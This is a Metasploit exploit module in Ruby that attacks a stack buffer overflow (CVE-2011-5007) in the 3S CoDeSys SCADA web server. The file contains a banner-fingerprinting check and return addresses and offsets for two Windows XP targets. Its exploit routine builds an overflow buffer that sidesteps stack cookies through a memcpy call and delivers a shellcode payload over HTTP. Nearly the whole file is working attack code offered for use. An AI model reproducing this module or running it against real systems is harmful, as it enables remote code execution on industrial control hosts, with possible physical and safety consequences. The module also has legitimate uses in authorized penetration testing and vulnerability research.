135 lines
3.4 KiB
Ruby
135 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SCADA 3S CoDeSys CmpWebServer <= v3.4 SP4 Patch 2 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a remote stack buffer overflow vulnerability in
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3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Original discovery and poc
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'Celil UNUVER',
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'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
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'sinn3r',
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'Michael Coppola'
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],
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'References' =>
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[
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[ 'CVE', '2011-5007'],
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[ 'OSVDB', '77387'],
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[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
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[ 'EDB', 18187 ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
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# The following clearifies why two people are credited for the discovery
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'false',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'size' => 650,
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'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
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},
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'Targets' =>
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[
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[
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'CoDeSys v2.3 on Windows XP SP3',
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{
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'Ret' => 0x7E4456F7, # jmp esp user32
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'Offset' => 775
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}
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],
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[
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'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
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{
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# Abuse a memcpy() call to circumvent stack cookies
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'Offset' => 525,
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'Ret' => 0x02CDFD68,
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'Src' => 0x02CDFD58,
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'Dest' => 0x02CDFA14
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 02 2011'
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))
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register_options([Opt::RPORT(8080)], self.class)
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end
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def check
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connect
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sock.put("GET / HTTP/1.1\r\n\r\n")
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res = sock.get(-1, 3)
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disconnect
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# Can't flag the web server as vulnerable, because it doesn't
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# give us a version
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vprint_line(res)
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if res =~ /3S_WebServer/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect
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if target.name =~ /v2\.3/
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buffer = rand_text(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << make_nops(8)
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buffer << payload.encoded
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else
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# CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
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buffer = rand_text_alphanumeric(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << [target['Src']].pack('V')
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buffer << [target['Dest']].pack('V')
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buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
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buffer << make_nops(8)
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buffer << payload.encoded
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buffer << "\\a"
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end
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sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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res = sock.get_once
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print_line(res) unless res.nil?
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handler
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disconnect
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end
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end
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=begin
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target.ret verified on:
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- Win XP SP3 unpatched
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- Win XP SP3 fully-patched
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- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
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=end
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